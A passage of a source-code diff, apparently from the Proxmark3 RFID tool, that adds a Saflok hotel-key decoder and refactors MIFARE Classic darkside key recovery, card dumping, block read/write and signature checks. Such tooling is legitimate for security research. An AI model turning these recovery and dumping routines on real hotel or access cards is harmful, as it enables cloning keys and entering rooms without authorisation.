CalculateCheckSum(decodedBA); + bool checksum_valid = (checksum_calculated == checksum); + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Saflok details")); + PrintAndLogEx(SUCCESS, "Key Level............. %u (%s)", saflok_key_levels[key_level].level_num, saflok_key_levels[key_level].level_name); + PrintAndLogEx(SUCCESS, "LED Warning........... %s", led_warning ? "Yes" : "No"); + PrintAndLogEx(SUCCESS, "Key ID................ %u (0x%02X)", key_id, key_id); + PrintAndLogEx(SUCCESS, "Key Record............ %u (0x%04X)", key_record, key_record); + PrintAndLogEx(SUCCESS, "Opening Key........... %s", opening_key ? "Yes" : "No"); + PrintAndLogEx(SUCCESS, "Sequence & Combination: %u (0x%02X)", sequence_combination_number, sequence_combination_number); + PrintAndLogEx(SUCCESS, "Override Deadbolt..... %s", override_deadbolt ? "Yes" : "No"); + PrintAndLogEx(SUCCESS, "Restricted Weekdays... %s", restricted_weekday_string); + PrintAndLogEx(SUCCESS, "Property ID........... %u (0x%04X)", property_id, property_id); + PrintAndLogEx(SUCCESS, "Creation Date......... %04u-%02u-%02u %02u:%02u", creation_year, creation_month, creation_day, creation_hour, creation_minute); + PrintAndLogEx(SUCCESS, "Expiration Date....... %04u-%02u-%02u %02u:%02u", expire_year, expire_month, expire_day, expiry_hour, expiry_minute); + PrintAndLogEx(SUCCESS, "Checksum Valid........ ( %s )", checksum_valid ? _GREEN_("ok") : _RED_("fail")); +} + /* static int usage_hf14_keybrute(void) { PrintAndLogEx(NORMAL, "J_Run's 2nd phase of multiple sector nested authentication key recovery"); @@ -67,57 +363,13 @@ static int usage_hf14_keybrute(void) { */ int mfc_ev1_print_signature(uint8_t *uid, uint8_t uidlen, uint8_t *signature, int signature_len) { - - // ref: MIFARE Classic EV1 Originality Signature Validation -#define PUBLIC_MFCEV1_ECDA_KEYLEN 33 - const ecdsa_publickey_t nxp_mfc_public_keys[] = { - {"NXP MIFARE Classic MFC1C14_x", "044F6D3F294DEA5737F0F46FFEE88A356EED95695DD7E0C27A591E6F6F65962BAF"}, - {"MIFARE Classic / QL88", "046F70AC557F5461CE5052C8E4A7838C11C7A236797E8A0730A101837C004039C2"}, - {"NXP ICODE DNA, ICODE SLIX2", "048878A2A2D3EEC336B4F261A082BD71F9BE11C4E2E896648B32EFA59CEA6E59F0"}, - {"NXP Public key", "04A748B6A632FBEE2C0897702B33BEA1C074998E17B84ACA04FF267E5D2C91F6DC"}, - {"NXP Ultralight Ev1", "0490933BDCD6E99B4E255E3DA55389A827564E11718E017292FAF23226A96614B8"}, - {"NXP NTAG21x (2013)", "04494E1A386D3D3CFE3DC10E5DE68A499B1C202DB5B132393E89ED19FE5BE8BC61"}, - {"MIKRON Public key", "04F971EDA742A4A80D32DCF6A814A707CC3DC396D35902F72929FDCD698B3468F2"}, - {"VivoKey Spark1 Public key", "04D64BB732C0D214E7EC580736ACF847284B502C25C0F7F2FA86AACE1DADA4387A"}, - {"TruST25 (ST) key 01?", "041D92163650161A2548D33881C235D0FB2315C2C31A442F23C87ACF14497C0CBA"}, - {"TruST25 (ST) key 04?", "04101E188A8B4CDDBC62D5BC3E0E6850F0C2730E744B79765A0E079907FBDB01BC"}, - }; - - uint8_t i; - bool is_valid = false; - - for (i = 0; i < ARRAYLEN(nxp_mfc_public_keys); i++) { - - int dl = 0; - uint8_t key[PUBLIC_MFCEV1_ECDA_KEYLEN]; - param_gethex_to_eol(nxp_mfc_public_keys[i].value, 0, key, PUBLIC_MFCEV1_ECDA_KEYLEN, &dl); - - int res = ecdsa_signature_r_s_verify(MBEDTLS_ECP_DP_SECP128R1, key, uid, uidlen, signature, signature_len, false); - is_valid = (res == 0); - if (is_valid) - break; - } - - PrintAndLogEx(INFO, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Tag Signature")); - if (is_valid == false || i == ARRAYLEN(nxp_mfc_public_keys)) { - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp128r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 32)); - PrintAndLogEx(SUCCESS, " Signature verification: " _RED_("failed")); - return PM3_ESOFT; - } - - PrintAndLogEx(INFO, " IC signature public key name: " _GREEN_("%s"), nxp_mfc_public_keys[i].desc); - PrintAndLogEx(INFO, "IC signature public key value: %s", nxp_mfc_public_keys[i].value); - PrintAndLogEx(INFO, " Elliptic curve parameters: NID_secp128r1"); - PrintAndLogEx(INFO, " TAG IC Signature: %s", sprint_hex_inrow(signature, 32)); - PrintAndLogEx(SUCCESS, " Signature verification: " _GREEN_("successful")); - return PM3_SUCCESS; + int index = originality_check_verify(uid, uidlen, signature, signature_len, PK_MFC); + return originality_check_print(signature, signature_len, index); } static int mf_read_uid(uint8_t *uid, int *uidlen, int *nxptype) { clearCommandBuffer(); - SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { PrintAndLogEx(DEBUG, "iso14443a card select failed"); @@ -128,20 +380,63 @@ static int mf_read_uid(uint8_t *uid, int *uidlen, int *nxptype) { iso14a_card_select_t card; memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); + uint64_t select_status = resp.oldarg[0]; + + // try to request ATS even if tag claims not to support it. If yes => 4 + if (select_status == 2) { + uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 + clearCommandBuffer(); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, sizeof(rats)); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + memcpy(card.ats, resp.data.asBytes, resp.oldarg[0]); + card.ats_len = resp.oldarg[0]; // note: ats_len includes CRC Bytes + if (card.ats_len > 3) { + select_status = 4; + } + } + + uint8_t ats_hist_pos = 0; + if ((card.ats_len > 3) && (card.ats[0] > 1)) { + ats_hist_pos = 2; + ats_hist_pos += (card.ats[1] & 0x10) == 0x10; + ats_hist_pos += (card.ats[1] & 0x20) == 0x20; + ats_hist_pos += (card.ats[1] & 0x40) == 0x40; + } + + version_hw_t version_hw = {0}; + // if 4b UID or NXP, try to get version + int res = hf14a_getversion_data(&card, select_status, &version_hw); + DropField(); + + bool version_hw_available = (res == PM3_SUCCESS); + if (nxptype) { - uint64_t select_status = resp.oldarg[0]; - *nxptype = detect_nxp_card(card.sak, ((card.atqa[1] << 8) + card.atqa[0]), select_status); + + *nxptype = detect_nxp_card(card.sak + , ((card.atqa[1] << 8) + card.atqa[0]) + , select_status + , card.ats_len - ats_hist_pos + , card.ats + ats_hist_pos + , version_hw_available + , &version_hw + ); } memcpy(uid, card.uid, card.uidlen * sizeof(uint8_t)); *uidlen = card.uidlen; + return PM3_SUCCESS; } static char *GenerateFilename(const char *prefix, const char *suffix) { - if (! IfPm3Iso14443a()) { + if (IfPm3Iso14443a() == false) { return NULL; } + uint8_t uid[10] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; int uidlen = 0; char *fptr = calloc(sizeof(char) * (strlen(prefix) + strlen(suffix)) + sizeof(uid) * 2 + 1, sizeof(uint8_t)); @@ -158,17 +453,21 @@ static char *GenerateFilename(const char *prefix, const char *suffix) { return fptr; } +// allocates `items` table entries, storing pointer to `*src` +// Each entry stores two keys (A and B), initialized to six-byte value 0xFFFFFFFFFFFF +// Each entry also stores whether the key was "found", defaults to false (0) static int initSectorTable(sector_t **src, size_t items) { (*src) = calloc(items, sizeof(sector_t)); - if (*src == NULL) + if (*src == NULL) { return PM3_EMALLOC; + } // empty e_sector for (size_t i = 0; i < items; i++) { for (uint8_t j = 0; j < 2; j++) { (*src)[i].Key[j] = 0xffffffffffff; - (*src)[i].foundKey[j] = 0; + // (*src)[i].foundKey[j] = 0; // calloc zero's these already } } return PM3_SUCCESS; @@ -177,20 +476,19 @@ static int initSectorTable(sector_t **src, size_t items) { static void decode_print_st(uint16_t blockno, uint8_t *data) { if (mfIsSectorTrailer(blockno)) { PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "-------------------------- " _CYAN_("Sector trailer decoder") " --------------------------"); - PrintAndLogEx(INFO, "key A........ " _GREEN_("%s"), sprint_hex_inrow(data, 6)); - PrintAndLogEx(INFO, "acr.......... " _GREEN_("%s"), sprint_hex_inrow(data + 6, 3)); - PrintAndLogEx(INFO, "user / gpb... " _GREEN_("%02x"), data[9]); - PrintAndLogEx(INFO, "key B........ " _GREEN_("%s"), sprint_hex_inrow(data + 10, 6)); + PrintAndLogEx(INFO, "------------------------ " _CYAN_("Sector trailer decoder") " ------------------------"); + PrintAndLogEx(INFO, " Key A........ " _BRIGHT_GREEN_("%s"), sprint_hex_inrow(data, 6)); + PrintAndLogEx(INFO, " ACR.......... " _MAGENTA_("%s"), sprint_hex_inrow(data + 6, 3)); + PrintAndLogEx(INFO, " User / gpb... %02x", data[9]); + PrintAndLogEx(INFO, " Key B........ " _GREEN_("%s"), sprint_hex_inrow(data + 10, 6)); PrintAndLogEx(INFO, ""); PrintAndLogEx(INFO, " # | access rights"); - PrintAndLogEx(INFO, "----+-----------------------------------------------------------------------"); + PrintAndLogEx(INFO, "----+-------------------------------------------------------------------"); if (mfValidateAccessConditions(&data[6]) == false) { - PrintAndLogEx(WARNING, _RED_("Invalid Access Conditions")); + PrintAndLogEx(WARNING, _RED_("Invalid access conditions")); } - int bln = mfFirstBlockOfSector(mfSectorNum(blockno)); int blinc = (mfNumBlocksPerSector(mfSectorNum(blockno)) > 4) ? 5 : 1; for (int i = 0; i < 4; i++) { @@ -201,13 +499,13 @@ static void decode_print_st(uint16_t blockno, uint8_t *data) { uint8_t cond = mf_get_accesscondition(i, &data[6]); if (cond == 0 || cond == 1 || cond == 2) { PrintAndLogEx(INFO, ""); - PrintAndLogEx(INFO, "OBS! Key B is readable, it SHALL NOT be able to authenticate on original MFC"); + PrintAndLogEx(INFO, "OBS!"); + PrintAndLogEx(INFO, "Key B is readable, it SHALL NOT be able to authenticate on original MFC"); } } } - - PrintAndLogEx(INFO, "----------------------------------------------------------------------------"); + PrintAndLogEx(INFO, "------------------------------------------------------------------------"); PrintAndLogEx(NORMAL, ""); } } @@ -284,7 +582,7 @@ void mf_print_block_one(uint8_t blockno, uint8_t *d, bool verbose) { char ascii[24] = {0}; ascii_to_buffer((uint8_t *)ascii, d, MFBLOCK_SIZE, sizeof(ascii) - 1, 1); - PrintAndLogEx(INFO, "%3d | " _YELLOW_("%s") _MAGENTA_("%s") "%02X " _YELLOW_("%s") "| " _YELLOW_("%s"), + PrintAndLogEx(INFO, "%3d | " _BRIGHT_GREEN_("%s") _MAGENTA_("%s") "%02X " _GREEN_("%s") "| " _YELLOW_("%s"), blockno, keya, acl, @@ -303,7 +601,7 @@ void mf_print_block_one(uint8_t blockno, uint8_t *d, bool verbose) { } } -static void mf_print_block(uint8_t blockno, uint8_t *d, bool verbose) { +static void mf_print_block(uint16_t maxblocks, uint8_t blockno, uint8_t *d, bool verbose) { uint8_t sectorno = mfSectorNum(blockno); char secstr[6] = " "; @@ -335,47 +633,74 @@ static void mf_print_block(uint8_t blockno, uint8_t *d, bool verbose) { char ascii[24] = {0}; ascii_to_buffer((uint8_t *)ascii, d, MFBLOCK_SIZE, sizeof(ascii) - 1, 1); - PrintAndLogEx(INFO, "%s| %3d | " _YELLOW_("%s") _MAGENTA_("%s") "%02X " _YELLOW_("%s") "| " _YELLOW_("%s"), - secstr, - blockno, - keya, - acl, - d[9], - keyb, - ascii - ); - } else { - int32_t value = 0; - if (verbose && mfc_value(d, &value)) { - PrintAndLogEx(INFO, "%s| %3d | " _CYAN_("%s") " %"PRIi32, secstr, blockno, sprint_hex_ascii(d, MFBLOCK_SIZE), value); + if (maxblocks < 18 && blockno >= MIFARE_1K_MAXBLOCK) { + PrintAndLogEx(INFO, + _BACK_BLUE_("%s| %3d | " _YELLOW_("%s")) + _BACK_BLUE_(_MAGENTA_("%s")) + _BACK_BLUE_("%02X ") + _BACK_BLUE_(_YELLOW_("%s")) + _BACK_BLUE_("| " _YELLOW_("%s")) + , + secstr, + blockno, + keya, + acl, + d[9], + keyb, + ascii + ); } else { - PrintAndLogEx(INFO, "%s| %3d | %s ", secstr, blockno, sprint_hex_ascii(d, MFBLOCK_SIZE)); + PrintAndLogEx(INFO, "%s| %3d | " _YELLOW_("%s") _MAGENTA_("%s") "%02X " _YELLOW_("%s") "| " _YELLOW_("%s"), + secstr, + blockno, + keya, + acl, + d[9], + keyb, + ascii + ); + } + } else { + + if (maxblocks < 18 && blockno >= MIFARE_1K_MAXBLOCK) { + // MFC Ev1 signature blocks. + PrintAndLogEx(INFO, _BACK_BLUE_("%s| %3d | %s"), secstr, blockno, sprint_hex_ascii(d, MFBLOCK_SIZE)); + } else { + int32_t value = 0; + if (verbose && mfc_value(d, &value)) { + PrintAndLogEx(INFO, "%s| %3d | " _CYAN_("%s") " %"PRIi32, secstr, blockno, sprint_hex_ascii(d, MFBLOCK_SIZE), value); + } else { + PrintAndLogEx(INFO, "%s| %3d | %s", secstr, blockno, sprint_hex_ascii(d, MFBLOCK_SIZE)); + } } } } -static void mf_print_blocks(uint16_t n, uint8_t *d, bool verbose) { +void mf_print_blocks(uint16_t n, uint8_t *d, bool verbose) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "-----+-----+-------------------------------------------------+-----------------"); PrintAndLogEx(INFO, " sec | blk | data | ascii"); PrintAndLogEx(INFO, "-----+-----+-------------------------------------------------+-----------------"); + for (uint16_t i = 0; i < n; i++) { - mf_print_block(i, d + (i * MFBLOCK_SIZE), verbose); + mf_print_block(n, i, d + (i * MFBLOCK_SIZE), verbose); } PrintAndLogEx(INFO, "-----+-----+-------------------------------------------------+-----------------"); + if (verbose) { PrintAndLogEx(HINT, _CYAN_("cyan") " = value block with decoded value"); + PrintAndLogEx(HINT, _CYAN_("background blue") " = MFC Ev1 signature blocks"); } // MAD detection if (HasMADKey(d)) { - PrintAndLogEx(HINT, "MAD key detected. Try " _YELLOW_("`hf mf mad`") " for more details"); + PrintAndLogEx(HINT, "Hint: MAD key detected. Try `" _YELLOW_("hf mf mad") "` for more details"); } PrintAndLogEx(NORMAL, ""); } // assumes n is in number of blocks 0..255 -static int mf_print_keys(uint16_t n, uint8_t *d) { +int mf_print_keys(uint16_t n, uint8_t *d) { uint8_t sectors = 0; switch (n) { case MIFARE_MINI_MAXBLOCK: @@ -460,7 +785,7 @@ static int mf_save_keys_from_arr(uint16_t n, uint8_t *d) { char fn[FILE_PATH_SIZE] = {0}; snprintf(fn, sizeof(fn), "hf-mf-%s-key", sprint_hex_inrow(d, 4)); - saveFile(fn, ".bin", keys, keysize); + saveFileEx(fn, ".bin", keys, keysize, spDump); free(keys); return PM3_SUCCESS; } @@ -494,22 +819,6 @@ void mf_print_sector_hdr(uint8_t sector) { PrintAndLogEx(INFO, "----+-------------------------------------------------+-----------------"); } -static bool mf_write_block(const uint8_t *key, uint8_t keytype, uint8_t blockno, uint8_t *block) { - - uint8_t data[26]; - memcpy(data, key, MIFARE_KEY_SIZE); - memcpy(data + 10, block, MFBLOCK_SIZE); - - clearCommandBuffer(); - SendCommandMIX(CMD_HF_MIFARE_WRITEBL, blockno, keytype, 0, data, sizeof(data)); - PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(FAILED, "Command execute timeout"); - return false; - } - - return ((resp.oldarg[0] & 0xff) == 1); -} // assumes n is in number of blocks 0..255 static void mf_analyse_acl(uint16_t n, uint8_t *d) { @@ -607,20 +916,25 @@ static int mfc_read_tag(iso14a_card_select_t *card, uint8_t *carddata, uint8_t n char *fptr = NULL; if (keyfn == NULL || keyfn[0] == '\0') { fptr = GenerateFilename("hf-mf-", "-key.bin"); - if (fptr == NULL) + if (fptr == NULL) { return PM3_ESOFT; + } keyfn = fptr ; } - PrintAndLogEx(INFO, "Using... %s", keyfn); - size_t alen = 0, blen = 0; - uint8_t *keyA, *keyB; - if (loadFileBinaryKey(keyfn, "", (void **)&keyA, (void **)&keyB, &alen, &blen) != PM3_SUCCESS) { + uint8_t *keyA = NULL, *keyB = NULL; + if (loadFileBinaryKey(keyfn, "", (void **)&keyA, (void **)&keyB, &alen, &blen, true) != PM3_SUCCESS) { free(fptr); return PM3_ESOFT; } + free(fptr); + + if ((alen < (numSectors * MIFARE_KEY_SIZE)) || (blen < (numSectors * MIFARE_KEY_SIZE))) { + PrintAndLogEx(WARNING, "Key file is too small for selected card type"); + return PM3_ELENGTH; + } PrintAndLogEx(INFO, "Reading sector access bits..."); PrintAndLogEx(INFO, "." NOLF); @@ -629,15 +943,17 @@ static int mfc_read_tag(iso14a_card_select_t *card, uint8_t *carddata, uint8_t n mf_readblock_t payload; uint8_t current_key; + for (uint8_t sectorNo = 0; sectorNo < numSectors; sectorNo++) { + current_key = MF_KEY_A; + for (uint8_t tries = 0; tries < MIFARE_SECTOR_RETRY; tries++) { PrintAndLogEx(NORMAL, "." NOLF); fflush(stdout); if (kbd_enter_pressed()) { PrintAndLogEx(WARNING, "\naborted via keyboard!\n"); - free(fptr); free(keyA); free(keyB); return PM3_EOPABORTED; @@ -682,7 +998,9 @@ static int mfc_read_tag(iso14a_card_select_t *card, uint8_t *carddata, uint8_t n PrintAndLogEx(INFO, "Dumping all blocks from card..."); for (uint8_t sectorNo = 0; sectorNo < numSectors; sectorNo++) { + for (uint8_t blockNo = 0; blockNo < mfNumBlocksPerSector(sectorNo); blockNo++) { + bool received = false; current_key = MF_KEY_A; uint8_t data_area = (sectorNo < 32) ? blockNo : blockNo / 5; @@ -703,6 +1021,7 @@ static int mfc_read_tag(iso14a_card_select_t *card, uint8_t *carddata, uint8_t n clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); received = WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500); + } else { // data block. Check if it can be read with key A or key B if ((rights[sectorNo][data_area] == 0x03) || (rights[sectorNo][data_area] == 0x05)) { @@ -714,6 +1033,7 @@ static int mfc_read_tag(iso14a_card_select_t *card, uint8_t *carddata, uint8_t n clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); received = WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500); + } else { // key A would work payload.blockno = mfFirstBlockOfSector(sectorNo) + blockNo; @@ -764,9 +1084,10 @@ static int mfc_read_tag(iso14a_card_select_t *card, uint8_t *carddata, uint8_t n } } - free(fptr); + free(keyA); free(keyB); + PrintAndLogEx(SUCCESS, "\nSucceeded in dumping all blocks"); return PM3_SUCCESS ; } @@ -781,8 +1102,8 @@ static int mf_load_keys(uint8_t **pkeyBlock, uint32_t *pkeycnt, uint8_t *userkey if (userkeylen >= MIFARE_KEY_SIZE) { int numKeys = userkeylen / MIFARE_KEY_SIZE; p = realloc(*pkeyBlock, numKeys * MIFARE_KEY_SIZE); - if (!p) { - PrintAndLogEx(FAILED, "cannot allocate memory for Keys"); + if (p == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(*pkeyBlock); return PM3_EMALLOC; } @@ -794,25 +1115,25 @@ static int mf_load_keys(uint8_t **pkeyBlock, uint32_t *pkeycnt, uint8_t *userkey PrintAndLogEx(DEBUG, _YELLOW_("%2d") " - %s", i, sprint_hex(*pkeyBlock + i * MIFARE_KEY_SIZE, MIFARE_KEY_SIZE)); } *pkeycnt += numKeys; - PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%2d") " user keys", numKeys); + PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%d") " user keys", numKeys); } if (load_default) { // Handle default keys p = realloc(*pkeyBlock, (*pkeycnt + ARRAYLEN(g_mifare_default_keys)) * MIFARE_KEY_SIZE); - if (!p) { - PrintAndLogEx(FAILED, "cannot allocate memory for Keys"); + if (p == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(*pkeyBlock); return PM3_EMALLOC; } *pkeyBlock = p; // Copy default keys to list - for (int i = 0; i < ARRAYLEN(g_mifare_default_keys); i++) { + for (uint32_t i = 0; i < ARRAYLEN(g_mifare_default_keys); i++) { num_to_bytes(g_mifare_default_keys[i], MIFARE_KEY_SIZE, (uint8_t *)(*pkeyBlock + (*pkeycnt + i) * MIFARE_KEY_SIZE)); - PrintAndLogEx(DEBUG, _YELLOW_("%2d") " - %s", *pkeycnt + i, sprint_hex(*pkeyBlock + (*pkeycnt + i) * MIFARE_KEY_SIZE, MIFARE_KEY_SIZE)); + PrintAndLogEx(DEBUG, _YELLOW_("%2u") " - %s", *pkeycnt + i, sprint_hex(*pkeyBlock + (*pkeycnt + i) * MIFARE_KEY_SIZE, MIFARE_KEY_SIZE)); } *pkeycnt += ARRAYLEN(g_mifare_default_keys); - PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%zu") " keys from hardcoded default array", ARRAYLEN(g_mifare_default_keys)); + PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%zu") " hardcoded keys", ARRAYLEN(g_mifare_default_keys)); } // Handle user supplied dictionary file @@ -827,8 +1148,8 @@ static int mf_load_keys(uint8_t **pkeyBlock, uint32_t *pkeycnt, uint8_t *userkey return PM3_EFILE; } else { p = realloc(*pkeyBlock, (*pkeycnt + loaded_numKeys) * MIFARE_KEY_SIZE); - if (!p) { - PrintAndLogEx(FAILED, "cannot allocate memory for Keys"); + if (p == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(keyBlock_tmp); free(*pkeyBlock); return PM3_EMALLOC; @@ -898,35 +1219,42 @@ static int CmdHF14AMfDarkside(const char *Cmd) { arg_param_begin, arg_int0(NULL, "blk", " ", "Target block"), arg_lit0("b", NULL, "Target key B instead of default key A"), - arg_int0("c", NULL, "", "Target Auth 6x"), + arg_int0("c", NULL, "", "Target key type is key A + offset"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); uint8_t blockno = arg_get_u32_def(ctx, 1, 0) & 0xFF; - uint8_t key_type = MIFARE_AUTH_KEYA; + uint8_t key_type = MF_KEY_A; if (arg_get_lit(ctx, 2)) { PrintAndLogEx(INFO, "Targeting key B"); - key_type = MIFARE_AUTH_KEYB; + key_type = MF_KEY_B; } - uint8_t ctype = arg_get_u32_def(ctx, 3, 0) & 0xFF; - if ((ctype & 0x60) == 0x60) { - key_type = ctype; + uint8_t prev_keytype = key_type; + key_type = arg_get_int_def(ctx, 3, key_type); + if (arg_get_lit(ctx, 2) && (key_type != prev_keytype)) { + CLIParserFree(ctx); + PrintAndLogEx(WARNING, "Choose one single target key type"); + return PM3_EINVARG; } + // mf_dark_side expects the full command byte 0x6x + key_type += MIFARE_AUTH_KEYA; CLIParserFree(ctx); uint64_t key = 0; uint64_t t1 = msclock(); - int ret = mfDarkside(blockno, key_type, &key); + int res = mf_dark_side(blockno, key_type, &key); t1 = msclock() - t1; - if (ret != PM3_SUCCESS) return ret; + if (res != PM3_SUCCESS) { + return res; + } - PrintAndLogEx(SUCCESS, "found valid key: " _GREEN_("%012" PRIx64), key); - PrintAndLogEx(SUCCESS, "time in darkside " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); + PrintAndLogEx(SUCCESS, "Found valid key [ "_GREEN_("%012" PRIX64) " ]", key); + PrintAndLogEx(SUCCESS, "Time in darkside " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); return PM3_SUCCESS; } @@ -1017,7 +1345,12 @@ static int CmdHF14AMfWrBl(const char *Cmd) { return PM3_EINVARG; } - PrintAndLogEx(INFO, "Writing block no %d, key %c - %s", blockno, (keytype == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(key, sizeof(key))); + if (keytype < 2) { + PrintAndLogEx(INFO, "Writing block no %d, key type:%c - %s", blockno, (keytype == MF_KEY_B) ? 'B' : 'A', sprint_hex_inrow(key, sizeof(key))); + } else { + PrintAndLogEx(INFO, "Writing block no %d, key type:%02x - %s", blockno, MIFARE_AUTH_KEYA + keytype, sprint_hex_inrow(key, sizeof(key))); + } + PrintAndLogEx(INFO, "data: %s", sprint_hex(block, sizeof(block))); uint8_t data[26]; @@ -1028,20 +1361,20 @@ static int CmdHF14AMfWrBl(const char *Cmd) { PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(FAILED, "Command execute timeout"); + PrintAndLogEx(FAILED, "command execution time out"); return PM3_ETIMEOUT; } int status = resp.oldarg[0]; if (status > 0) { PrintAndLogEx(SUCCESS, "Write ( " _GREEN_("ok") " )"); - PrintAndLogEx(HINT, "try `" _YELLOW_("hf mf rdbl") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mf rdbl") "` to verify"); } else if (status == PM3_ETEAROFF) { return status; } else { PrintAndLogEx(FAILED, "Write ( " _RED_("fail") " )"); // suggest the opposite keytype than what was used. - PrintAndLogEx(HINT, "Maybe access rights? Try specify keytype `" _YELLOW_("hf mf wrbl -%c ...") "` instead", (keytype == MF_KEY_A) ? 'b' : 'a'); + PrintAndLogEx(HINT, "Hint: Maybe access rights? Try specify keytype `" _YELLOW_("hf mf wrbl -%c ...") "` instead", (keytype == MF_KEY_A) ? 'b' : 'a'); } return PM3_SUCCESS; } @@ -1101,7 +1434,7 @@ static int CmdHF14AMfRdBl(const char *Cmd) { uint8_t blockno = (uint8_t)b; uint8_t data[16] = {0}; - int res = mfReadBlock(blockno, keytype, key, data); + int res = mf_read_block(blockno, keytype, key, data); if (res == PM3_SUCCESS) { uint8_t sector = mfSectorNum(blockno); @@ -1151,7 +1484,7 @@ static int CmdHF14AMfRdSc(const char *Cmd) { } int keylen = 0; - uint8_t key[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + uint8_t key[MIFARE_KEY_SIZE] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; CLIGetHexWithReturn(ctx, 4, key, &keylen); int s = arg_get_int_def(ctx, 5, 0); @@ -1164,7 +1497,7 @@ static int CmdHF14AMfRdSc(const char *Cmd) { } if (s >= MIFARE_4K_MAXSECTOR) { - PrintAndLogEx(WARNING, "Sector number must be less then 40"); + PrintAndLogEx(WARNING, "Sector number must be less than 40"); return PM3_EINVARG; } @@ -1173,16 +1506,23 @@ static int CmdHF14AMfRdSc(const char *Cmd) { uint8_t *data = calloc(sc_size, sizeof(uint8_t)); if (data == NULL) { - PrintAndLogEx(ERR, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } - int res = mfReadSector(sector, keytype, key, data); + int res = mf_read_sector(sector, keytype, key, data); if (res == PM3_SUCCESS) { uint8_t blocks = mfNumBlocksPerSector(sector); uint8_t start = mfFirstBlockOfSector(sector); + // since this was a successful read, add our known key to the output + if (keytype == MF_KEY_A) { + memcpy(data + ((blocks - 1) * MFBLOCK_SIZE), key, MIFARE_KEY_SIZE); + } else { + memcpy(data + ((blocks - 1) * MFBLOCK_SIZE) + 10, key, MIFARE_KEY_SIZE); + } + mf_print_sector_hdr(sector); for (int i = 0; i < blocks; i++) { mf_print_block_one(start + i, data + (i * MFBLOCK_SIZE), verbose); @@ -1221,12 +1561,12 @@ static int FastDumpWithEcFill(uint8_t numsectors) { PacketResponseNG resp; bool res = WaitForResponseTimeout(CMD_HF_MIFARE_EML_LOAD, &resp, 2500); if (res == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); return PM3_ETIMEOUT; } if (resp.status != PM3_SUCCESS) { - PrintAndLogEx(FAILED, "fast dump reported back failure w KEY A, swapping to KEY B"); + PrintAndLogEx(FAILED, "fast dump reported back failure w KEY A. Swapping to KEY B"); // ecfill key B payload.keytype = MF_KEY_B; @@ -1235,7 +1575,7 @@ static int FastDumpWithEcFill(uint8_t numsectors) { SendCommandNG(CMD_HF_MIFARE_EML_LOAD, (uint8_t *)&payload, sizeof(payload)); res = WaitForResponseTimeout(CMD_HF_MIFARE_EML_LOAD, &resp, 2500); if (res == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); setDeviceDebugLevel(dbg_curr, false); return PM3_ETIMEOUT; } @@ -1333,7 +1673,7 @@ static int CmdHF14AMfDump(const char *Cmd) { iso14a_card_select_t card ; uint8_t *mem = calloc(MIFARE_4K_MAX_BYTES, sizeof(uint8_t)); if (mem == NULL) { - PrintAndLogEx(ERR, "failed to allocate memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } int res = mfc_read_tag(&card, mem, numSectors, keyFilename); @@ -1484,12 +1824,10 @@ static int CmdHF14AMfRestore(const char *Cmd) { // size_t alen = 0, blen = 0; uint8_t *keyA, *keyB; - if (loadFileBinaryKey(keyfilename, "", (void **)&keyA, (void **)&keyB, &alen, &blen) != PM3_SUCCESS) { + if (loadFileBinaryKey(keyfilename, "", (void **)&keyA, (void **)&keyB, &alen, &blen, true) != PM3_SUCCESS) { return PM3_ESOFT; } - PrintAndLogEx(INFO, "Using key file `" _YELLOW_("%s") "`", keyfilename); - // try reading card uid and create filename if (datafnlen == 0) { char *fptr = GenerateFilename("hf-mf-", "-dump.bin"); @@ -1535,9 +1873,9 @@ static int 